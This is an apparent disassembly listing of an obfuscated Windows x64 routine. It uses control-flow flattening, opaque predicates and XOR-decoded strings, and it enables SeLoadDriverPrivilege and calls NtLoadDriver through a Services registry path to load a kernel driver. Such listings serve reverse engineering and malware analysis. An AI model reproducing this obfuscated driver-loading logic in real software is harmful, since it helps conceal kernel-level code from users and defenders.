mov eax, 0x755b6450
mov edi, dword [rbp + 0xe4]
jmp 0x14034fdc0
mov eax, dword [rbp + 0xe8]
mov eax, 0xb24cf1b8
jmp 0x14034fdc0
cmp eax, 0x8e28cc53
jne 0x14034fdc0
mov edx, 0xe06dcca3
jmp 0x14034fc20
mov edx, 0x9e97d7c4
jmp 0x14034fc20
mov edx, eax
cmp eax, 0x8c73ec2c
jne 0x14034fc20
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402c9010
mov rcx, rax
call fcn.1402b3ed0
xor r14d, r14d
lea r15, [rbp - 0x50]
lea r12, [rbp - 0x30]
lea r13, [rbp + 0x60]
mov rcx, r13
call fcn.1402a0970
mov edx, dword [0x140ae0bc8]
mov eax, dword [0x140ae0bcc]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov edx, 0x7b54ee61
mov edi, 0x71ab2ecb
cmove edi, edx
cmp eax, 0xa
cmovl edi, edx
mov edx, 0xe9750b5d
mov esi, 0xe333b06c
nop dword [rax]
cmp edx, 0xf5bdfd8f
je 0x140350068
cmp edx, 0xe9750b5d
jne 0x14034ff70
mov qword [rbp - 0x10], r13
mov edx, 0x30c88223
jmp 0x14034ffa0
mov edx, 0x420e84de
nop word cs:[rax + rax]
nop
cmp edx, 0x420e84de
je 0x14035005e
cmp edx, 0x30c88223
jne 0x14034ffa0
test cl, 1
mov rdx, qword [rbp - 0x10]
sete byte [rbp + 0xc0]
cmp eax, 0xa
setl byte [rbp + 0xc8]
mov edx, 0x246d3ec1
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x246d3ec0
jg 0x140350010
cmp edx, 0x80bdb28a
je 0x140350045
cmp edx, 0xe333b06c
je 0x140350053
cmp edx, 0xef356e00
jne 0x14034ffe0
jmp 0x14034ff8f
cmp edx, 0x7b54ee61
je 0x14035004c
cmp edx, 0x71ab2ecb
je 0x140350057
cmp edx, 0x246d3ec1
jne 0x14034ffe0
movzx ebx, byte [rbp + 0xc0]
cmp byte [rbp + 0xc8], 0
mov edx, 0x71ab2ecb
cmovne edx, esi
test bl, bl
cmovne edx, esi
jmp 0x14034ffe0
mov edx, 0xef356e00
jmp 0x14034ffe0
mov edx, 0x80bdb28a
jmp 0x14034ffe0
mov edx, edi
jmp 0x14034ffe0
mov edx, 0xe333b06c
jmp 0x14034ffe0
mov edx, 0xf5bdfd8f
jmp 0x14034ff70
mov rcx, r12
call fcn.1402a0970
mov edx, dword [0x140ae0bc8]
mov eax, dword [0x140ae0bcc]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov edx, 0x7b54ee61
mov edi, 0x71ab2ecb
cmove edi, edx
cmp eax, 0xa
cmovl edi, edx
mov edx, 0xe9750b5d
mov esi, 0xe333b06c
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf5bdfd8f
je 0x140350195
cmp edx, 0xe9750b5d
jne 0x1403500b0
mov qword [rbp - 0x10], r12
mov edx, 0x30c88223
jmp 0x1403500e0
mov edx, 0x420e84de
nop word cs:[rax + rax]
nop
cmp edx, 0x420e84de
je 0x14035018b
cmp edx, 0x30c88223
jne 0x1403500e0
test cl, 1
mov rdx, qword [rbp - 0x10]
sete byte [rbp + 0xc8]
cmp eax, 0xa
setl byte [rbp + 0x60]
mov edx, 0x246d3ec1
nop
cmp edx, 0x246d3ec0
jg 0x140350140
cmp edx, 0x80bdb28a
je 0x140350172
cmp edx, 0xe333b06c
je 0x140350180
cmp edx, 0xef356e00
jne 0x140350110
jmp 0x1403500cf
cmp edx, 0x7b54ee61
je 0x140350179
cmp edx, 0x71ab2ecb
je 0x140350184
cmp edx, 0x246d3ec1
jne 0x140350110
movzx ebx, byte [rbp + 0xc8]
cmp byte [rbp + 0x60], 0
mov edx, 0x71ab2ecb
cmovne edx, esi
test bl, bl
cmovne edx, esi
jmp 0x140350110
mov edx, 0xef356e00
jmp 0x140350110
mov edx, 0x80bdb28a
jmp 0x140350110
mov edx, edi
jmp 0x140350110
mov edx, 0xe333b06c
jmp 0x140350110
mov edx, 0xf5bdfd8f
jmp 0x1403500b0
mov rcx, r15
call fcn.1402a0970
mov edx, dword [0x140ae0bc8]
mov eax, dword [0x140ae0bcc]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov edx, 0x7b54ee61
mov edi, 0x71ab2ecb
cmove edi, edx
cmp eax, 0xa
cmovl edi, edx
mov edx, 0xe9750b5d
mov esi, 0xe333b06c
nop
cmp edx, 0xf5bdfd8f
je 0x1403502b2
cmp edx, 0xe9750b5d
jne 0x1403501d0
mov qword [rbp - 0x10], r15
mov edx, 0x30c88223
jmp 0x140350200
mov edx, 0x420e84de
nop word cs:[rax + rax]
nop
cmp edx, 0x420e84de
je 0x1403502a8
cmp edx, 0x30c88223
jne 0x140350200
test cl, 1
mov rdx, qword [rbp - 0x10]
sete byte [rbp + 0x60]
cmp eax, 0xa
setl byte [rbp - 0x30]
mov edx, 0x246d3ec1
nop dword [rax + rax]
cmp edx, 0x246d3ec0
jg 0x140350260
cmp edx, 0x80bdb28a
je 0x14035028f
cmp edx, 0xe333b06c
je 0x14035029d
cmp edx, 0xef356e00
jne 0x140350230
jmp 0x1403501ef
cmp edx, 0x7b54ee61
je 0x140350296
cmp edx, 0x71ab2ecb
je 0x1403502a1
cmp edx, 0x246d3ec1
jne 0x140350230
movzx ebx, byte [rbp + 0x60]
cmp byte [rbp - 0x30], 0
mov edx, 0x71ab2ecb
cmovne edx, esi
test bl, bl
cmovne edx, esi
jmp 0x140350230
mov edx, 0xef356e00
jmp 0x140350230
mov edx, 0x80bdb28a
jmp 0x140350230
mov edx, edi
jmp 0x140350230
mov edx, 0xe333b06c
jmp 0x140350230
mov edx, 0xf5bdfd8f
jmp 0x1403501d0
mov eax, r14d
add rsp, 0x178
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, dword [0x140ae0a10]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0a14], 0xa
setl cl
or cl, al
mov eax, 0xa01577a3
mov edx, 0xbceb288b
cmove eax, edx
mov ecx, 0xe9f40ee7
cmove ecx, edx
mov edx, 0x60156ff
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xe9f40ee6
jle 0x140350350
cmp edx, 0xe9f40ee7
je 0x140350367
cmp edx, 0x470283f9
je 0x14035036b
cmp edx, 0x60156ff
jne 0x140350310
movzx edx, word [0x1406818d9]
mov word [rbp - 8], dx
mov rdx, qword [0x1406818d1]
mov qword [rbp - 0x10], rdx
mov edx, 0x470283f9
jmp 0x140350310
cmp edx, 0xa01577a3
je 0x14035036f
cmp edx, 0xbceb288b
jne 0x140350310
mov edx, 0xe9f40ee7
jmp 0x140350310
mov edx, eax
jmp 0x140350310
mov edx, ecx
jmp 0x140350310
mov eax, dword [0x140ae0928]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae092c], 0xa
setl cl
or cl, al
mov ecx, 0x7b0fe5ea
mov eax, 0xf0c387a7
cmove ecx, eax
mov r14d, 0x5cf01476
cmove r14d, eax
mov eax, dword [0x140ae0a08]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae0a0c], 0xa
setl dl
or dl, al
mov r15d, 0xe528120b
mov eax, 0x1704202e
cmove r15d, eax
mov r11d, 0x10a771b0
cmove r11d, eax
mov eax, dword [0x140ae0c50]
mov r9d, dword [0x140ae0c54]
lea r12d, [rax - 1]
imul r12d, eax
test r12b, 1
mov eax, 0xba1695bf
mov r13d, 0xa86ce128
cmove r13d, eax
cmp r9d, 0xa
cmovl r13d, eax
mov edx, 0x810466a7
mov r10d, 0x92955ee7
jmp 0x140350440
lea rax, [rbp - 7]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
cmp byte [rax], 0
setne byte [rbp + 0xef]
mov edx, 0x7bf1baed
nop dword [rax]
mov eax, edx
cmp edx, 0x10a771af
jle 0x140350480
cmp eax, 0x46b97a23
jle 0x1403504c0
cmp eax, 0x46b97a24
je 0x1403505ba
cmp eax, 0x73e230b1
je 0x1403505d2
mov edx, eax
cmp eax, 0x7bf1baed
jne 0x140350440
mov edx, r11d
jmp 0x140350440
cmp eax, 0xbc8bcf70
jle 0x1403504f0
cmp eax, 0xbc8bcf71
je 0x1403505e7
cmp eax, 0xe528120b
je 0x1403507a1
mov edx, eax
cmp eax, 0x2745cc2
jne 0x140350440
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x90], rax
mov edx, 0xbc8bcf71
jmp 0x140350440
mov edx, r15d
cmp eax, 0x10a771b0
je 0x140350440
cmp eax, 0x1704202e
jne 0x1403507ba
mov edx, 0x10a771b0
jmp 0x140350440
cmp eax, 0x810466a7
je 0x140350519
mov edx, eax
cmp eax, 0xaa62751c
jne 0x140350440
lea rax, [rbp - 0x10]
mov qword [rbp + 0xd8], rax
mov edx, 0x2745cc2
jmp 0x140350440
test r12b, 1
sete byte [rbp + 0xe4]
cmp r9d, 0xa
setl byte [rbp + 0xe8]
mov eax, 0x12f8892c
jmp 0x140350540
mov eax, 0xff7cdb4a
nop dword [rax + rax]
cmp eax, 0x12f8892b
jg 0x140350570
cmp eax, 0xa86ce128
je 0x1403505a7
cmp eax, 0xba1695bf
je 0x1403505ae
cmp eax, 0xff7cdb4a
jne 0x140350540
jmp 0x140350418
cmp eax, 0x2e8f3c48
je 0x140350536
cmp eax, 0x1ab26eab
je 0x1403505b5
cmp eax, 0x12f8892c
jne 0x140350540
movzx edx, byte [rbp + 0xe4]
cmp byte [rbp + 0xe8], 0
mov eax, 0xa86ce128
mov ebx, 0x1ab26eab
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
jmp 0x140350540
mov eax, 0x1ab26eab
jmp 0x140350540
mov eax, 0x2e8f3c48
jmp 0x140350540
mov eax, r13d
jmp 0x140350540
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xc0], rax
mov edx, 0x17a4db39
jmp 0x140350440
lea rax, [rbp - 0x10]
mov qword [rbp + 0xb8], rax
mov edx, 0x46b97a24
jmp 0x140350440
mov rbx, qword [rbp + 0x90]
mov edx, 0x6a087684
jmp 0x140350610
mov dword [rbp + 0xe8], eax
mov edx, dword [rbp + 0xe8]
cmp edx, 0xa
mov edx, 0x86c673e2
cmovl edx, r10d
nop dword [rax]
mov r8d, edx
cmp edx, 0x4e01a5ea
jle 0x140350660
cmp r8d, 0x5cf01475
jle 0x1403506a0
cmp r8d, 0x5cf01476
je 0x14035073b
cmp r8d, 0x7b0fe5ea
je 0x140350725
mov edx, r8d
cmp r8d, 0x6a087684
jne 0x140350610
mov edx, 0xc1bb4ed6
jmp 0x140350610
cmp r8d, 0xc1bb4ed5
jg 0x1403506f0
mov edx, r14d
cmp r8d, 0x92955ee7
je 0x140350610
cmp r8d, 0xa074cc2a
jne 0x140350787
mov edx, dword [rbp + 0xb4]
add edx, 0x34
mov dword [rbp + 0xe4], edx
mov edx, 0x5ce466cf
jmp 0x140350610
cmp r8d, 0x4e01a5eb
je 0x1403505f5
mov edx, r8d
cmp r8d, 0x5ce466cf
jne 0x140350610
mov eax, dword [rbp + 0xb0]
xor eax, dword [rbp + 0xe4]
mov rdx, qword [rbp + 0xc8]
mov byte [rbp + rdx - 0x10], al
mov eax, dword [rbp + 0xe8]
add eax, 1
mov edx, 0x4e01a5eb
jmp 0x140350610
cmp r8d, 0xc1bb4ed6
je 0x14035072f
mov edx, r8d
cmp r8d, 0xf0c387a7
jne 0x140350610
mov edx, dword [rbp + 0xe8]
mov edx, dword [rbp + 0xe8]
mov edx, dword [rbp + 0xe8]
mov edx, 0x5cf01476
jmp 0x140350610
mov edx, 0xa074cc2a
jmp 0x140350610
mov edx, 0x4e01a5eb
xor eax, eax
jmp 0x140350610
movsxd rdx, dword [rbp + 0xe8]
mov qword [rbp + 0xc8], rdx
mov rdx, qword [rbp + 0xc8]
movsx edx, byte [rbx + rdx]
mov dword [rbp + 0xb0], edx
movsxd rdx, dword [rbp + 0xe8]
imul rdi, rdx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub edx, edi
mov dword [rbp + 0xb4], edx
mov edx, ecx
jmp 0x140350610
mov edx, r8d
cmp r8d, 0x86c673e2
jne 0x140350610
mov edx, 0x73e230b1
jmp 0x140350440
cmp byte [rbp + 0xef], 0
mov edx, 0x73e230b1
mov eax, 0xaa62751c
cmovne edx, eax
jmp 0x140350440
mov edx, eax
cmp eax, 0x17a4db39
jne 0x140350440
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14034ff24
mov rsi, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rbx
mov rdi, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call rbx
mov rsi, rax
lea r9, [rbp + 0x8b]
mov ecx, 0xa
mov dl, 1
xor r8d, r8d
call rdi
test eax, eax
js 0x1403509e1
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rdi, [rbp - 0x10]
lea r8, [rbp - 0x50]
mov rcx, rdi
call fcn.140351520
mov qword [rbp + 0xb8], rdi
mov ecx, 0xf30c1eb8
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xafff729c
je 0x140350873
cmp ecx, 0xf30c1eb8
jne 0x140350850
mov rcx, qword [rbp + 0xb8]
call fcn.1402a67c0
mov ecx, 0xafff729c
jmp 0x140350850
mov qword [rbp + 0xc0], rax
mov rdx, qword [rbp + 0xc0]
lea rdi, [rbp + 0xc8]
mov rcx, rdi
call sub.ntdll.dll_RtlInitUnicodeString
mov rcx, rdi
call rsi
mov esi, eax
lea r14, [rbp - 0x10]
mov rcx, r14
call fcn.1402a0970
mov edx, dword [0x140ae0bc8]
mov eax, dword [0x140ae0bcc]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov edx, 0x7b54ee61
mov edi, 0x71ab2ecb
cmove edi, edx
cmp eax, 0xa
cmovl edi, edx
mov edx, 0xe9750b5d
mov r8d, 0xe333b06c
lea r15, [rbp - 0x50]
lea r12, [rbp - 0x30]
lea r13, [rbp + 0x60]
jmp 0x1403508f0
mov edx, 0xf5bdfd8f
nop dword [rax]
cmp edx, 0xf5bdfd8f
je 0x1403509ca
cmp edx, 0xe9750b5d
jne 0x1403508f0
mov qword [rbp + 0xc8], r14
mov edx, 0x30c88223
cmp edx, 0x420e84de
je 0x1403508e4
cmp edx, 0x30c88223
jne 0x140350910
test cl, 1
mov rdx, qword [rbp + 0xc8]
sete byte [rbp + 0xb8]
cmp eax, 0xa
setl byte [rbp + 0xc0]
mov edx, 0x246d3ec1
cmp edx, 0x246d3ec0
jg 0x140350970
cmp edx, 0x80bdb28a
je 0x1403509a7
cmp edx, 0xe333b06c
je 0x1403509ae
cmp edx, 0xef356e00
jne 0x140350940
jmp 0x1403509c0
cmp edx, 0x7b54ee61
je 0x1403509b2
cmp edx, 0x71ab2ecb
je 0x1403509b9
cmp edx, 0x246d3ec1
jne 0x140350940
movzx ebx, byte [rbp + 0xb8]
cmp byte [rbp + 0xc0], 0
mov edx, 0x71ab2ecb
cmovne edx, r8d
test bl, bl
cmovne edx, r8d
jmp 0x140350940
mov edx, 0xef356e00
jmp 0x140350940
mov edx, edi
jmp 0x140350940
mov edx, 0x80bdb28a
jmp 0x140350940
mov edx, 0xe333b06c
jmp 0x140350940
mov edx, 0x420e84de
jmp 0x140350910
test esi, esi
setns al
cmp esi, 0xc000010e
sete r14b
or r14b, al
jmp 0x14034ff33
mov eax, 0xe8b3ea5a
nop word cs:[rax + rax]
cmp eax, 0x7075ba54
je 0x140350a52
cmp eax, 0xe8b3ea5a
jne 0x1403509f0
mov rax, qword [0x1406818c9]
mov qword [rbp + 0x4d], rax
movups xmm0, xmmword [0x1406818bc]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x1406818ac]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x14068189c]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x14068188c]
movaps xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x14068187c]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x14068186c]
movaps xmmword [rbp - 0x10], xmm0
mov eax, 0x7075ba54
jmp 0x1403509f0
mov eax, dword [0x140ae0a20]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0a24], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae0e40]
mov edx, dword [0x140ae0e44]
lea ebx, [rax - 1]
imul ebx, eax
mov dword [rbp + 0xa0], ebx
test bl, 1
sete al
mov dword [rbp + 0x9c], edx
cmp edx, 0xa
setl dl
or dl, al
mov edx, 0x3031f26a
mov eax, 0x403d84ac
cmove edx, eax
mov edi, 0x68610897
cmove edi, eax
mov r11d, 0x864ba9f2
mov eax, 0xed95b8b1
cmove r11d, eax
test cl, cl
mov ecx, 0x426ff590
mov eax, 0x67d7e50b
cmove ecx, eax
mov dword [rbp + 0xa4], ecx
mov ecx, 0x4aa33652
cmove ecx, eax
mov dword [rbp + 0xa8], ecx
mov r14d, 0x33de1b49
mov eax, 0xce2c078a
cmove r14d, eax
mov ecx, 0x807ab761
cmove ecx, eax
mov dword [rbp + 0x8c], ecx
mov eax, dword [0x140ae0c58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0c5c], 0xa
setl cl
or cl, al
mov r15d, 0xdaa8ca3e
mov eax, 0xaf69e072
cmove r15d, eax
mov r13d, 0x678cb3bd
cmove r13d, eax
mov eax, 0xa456ed56
mov ecx, 0xfd769d23
mov r12d, 0x473a13e8
jmp 0x140350b50
mov eax, 0x807ab761
nop
mov esi, eax
cmp eax, 0x33de1b48
jg 0x140350b90
cmp esi, 0xce2c0789
jle 0x140350bd0
cmp esi, 0x179a21cf
jg 0x140350c41
cmp esi, 0xce2c078a
je 0x140350b49
mov eax, esi
cmp esi, 0xf99e9f6b
jne 0x140350b50
mov eax, dword [rbp + 0x8c]
jmp 0x140350b50
cmp esi, 0x5e0e1be5
jle 0x140350c10
cmp esi, 0x68522de7
jg 0x140350c66
cmp esi, 0x5e0e1be6
je 0x140350c8a
mov eax, esi
cmp esi, 0x67d7e50b
jne 0x140350b50
mov eax, 0x4aa33652
jmp 0x140350b50
mov eax, r14d
cmp esi, 0x807ab761
je 0x140350b50
cmp esi, 0xa456ed56
je 0x140350ed9
mov eax, esi
cmp esi, 0xab44e0ab
jne 0x140350b50
lea rax, [rbp - 0x10]
mov qword [rbp + 0x90], rax
mov eax, 0x5e0e1be6
jmp 0x140350b50
cmp esi, 0x33de1b49
je 0x140350f4a
cmp esi, 0x426ff590
je 0x140350f63
mov eax, esi
cmp esi, 0x4aa33652
jne 0x140350b50
mov eax, dword [rbp + 0xa4]
jmp 0x140350b50
cmp esi, 0x179a21d0
je 0x140350f6d
mov eax, esi
cmp esi, 0x30d37e48
jne 0x140350b50
mov eax, dword [rbp + 0xa8]
jmp 0x140350b50
cmp esi, 0x6e7ca998
jne 0x140350fa0
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xc0], rax
mov eax, 0x68522de8
jmp 0x140350b50
test byte [rbp + 0xa0], 1
mov r8, qword [rbp + 0x90]
sete byte [rbp + 0xef]
cmp dword [rbp + 0x9c], 0xa
setl byte [rbp + 0xb0]
mov esi, 0xbb74d115
jmp 0x140350ce0
mov eax, dword [rbp + 0xb4]
xor eax, dword [rbp + 0xe4]
mov rbx, qword [rbp + 0xc8]
mov byte [rbp + rbx - 0x10], al
mov eax, dword [rbp + 0xd8]
add eax, 1
mov dword [rbp + 0xe8], eax
mov esi, 0x858c5568
nop
mov r10d, esi
cmp esi, 0xf0006c41
jg 0x140350d40
cmp r10d, 0x9d0e49f5
jle 0x140350e10
cmp r10d, 0xd788e718
jg 0x140350e44
cmp r10d, 0x9d0e49f6
je 0x140350e7a
mov esi, r10d
cmp r10d, 0xbb74d115
jne 0x140350ce0
movzx eax, byte [rbp + 0xef]
cmp byte [rbp + 0xb0], 0
mov esi, 0xed95b8b1
cmovne esi, r12d
test al, al
cmovne esi, r12d
jmp 0x140350ce0
cmp r10d, 0x473a13e7
jg 0x140350dd0
cmp r10d, 0x3031f269
jg 0x140350e67
cmp r10d, 0xf0006c42
je 0x140350cb4
mov esi, r10d
cmp r10d, 0xfd769d23
jne 0x140350ce0
movsxd rax, dword [rbp + 0xd8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsx eax, byte [r8 + rax]
mov dword [rbp + 0xb4], eax
movsxd rax, dword [rbp + 0xd8]
imul rbx, rax, 0x51eb851f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x24
add ebx, esi
imul ebx, ebx, 0x32
sub eax, ebx
add eax, 0x34
mov dword [rbp + 0xe4], eax
mov esi, 0xf0006c42
jmp 0x140350ce0
mov esi, r11d
cmp r10d, 0x473a13e8
je 0x140350ce0
mov esi, edi
cmp r10d, 0x56fc596d
je 0x140350ce0
mov esi, r10d
cmp r10d, 0x68610897
jne 0x140350ce0
mov esi, edx
jmp 0x140350ce0
cmp r10d, 0x858c5568
je 0x140350ea4
cmp r10d, 0x864ba9f2
je 0x140350eb5
mov esi, r10d
cmp r10d, 0x886af308
jne 0x140350ce0
mov esi, 0xd788e719
jmp 0x140350ce0
cmp r10d, 0xd788e719
je 0x140350e97
mov esi, r10d
cmp r10d, 0xed95b8b1
jne 0x140350ce0
mov esi, 0x473a13e8
jmp 0x140350ce0
cmp r10d, 0x403d84ac
jne 0x140350ebf
mov esi, 0x68610897
jmp 0x140350ce0
mov dword [rbp + 0xd8], r9d
mov eax, dword [rbp + 0xd8]
cmp eax, 0x65
mov esi, 0x56fc596d
cmovl esi, ecx
jmp 0x140350ce0
mov esi, 0x9d0e49f6
xor r9d, r9d
jmp 0x140350ce0
mov esi, 0x9d0e49f6
mov r9d, dword [rbp + 0xe8]
jmp 0x140350ce0
mov esi, 0x886af308
jmp 0x140350ce0
mov esi, r10d
cmp r10d, 0x3031f26a
jne 0x140350ce0
mov eax, 0x30d37e48
jmp 0x140350b50
mov al, byte [rbp + 0x54]
mov byte [rbp + 0xd8], al
mov esi, 0xc5a1fcd2
nop word [rax + rax]
cmp esi, 0xdaa8ca3d
jle 0x140350f20
cmp esi, 0xdaa8ca3e
je 0x140350f35
cmp esi, 0x39a6688f
je 0x140350f82
cmp esi, 0x678cb3bd
jne 0x140350ef0
movsx eax, byte [rbp + 0xd8]
mov esi, r15d
jmp 0x140350ef0
cmp esi, 0xaf69e072
je 0x140350f3c
cmp esi, 0xc5a1fcd2
jne 0x140350ef0
mov esi, r13d
jmp 0x140350ef0
mov esi, 0x39a6688f
jmp 0x140350ef0
movzx ebx, byte [rbp + 0xd8]
mov esi, 0x678cb3bd
jmp 0x140350ef0
cmp byte [rbp + 0xaf], 0
mov eax, 0x179a21d0
mov ebx, 0xab44e0ab
cmovne eax, ebx
jmp 0x140350b50
mov eax, 0x179a21d0
jmp 0x140350b50
lea rax, [rbp - 0x10]
mov qword [rbp + 0xb8], rax
mov eax, 0x6e7ca998
jmp 0x140350b50
mov dword [rbp + 0xc8], eax
cmp dword [rbp + 0xc8], 0
setne byte [rbp + 0xaf]
mov eax, 0xf99e9f6b
jmp 0x140350b50
mov eax, esi
cmp esi, 0x68522de8
jne 0x140350b50
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402c9010
mov rcx, rax
call fcn.1402b3ed0
jmp 0x14034ff24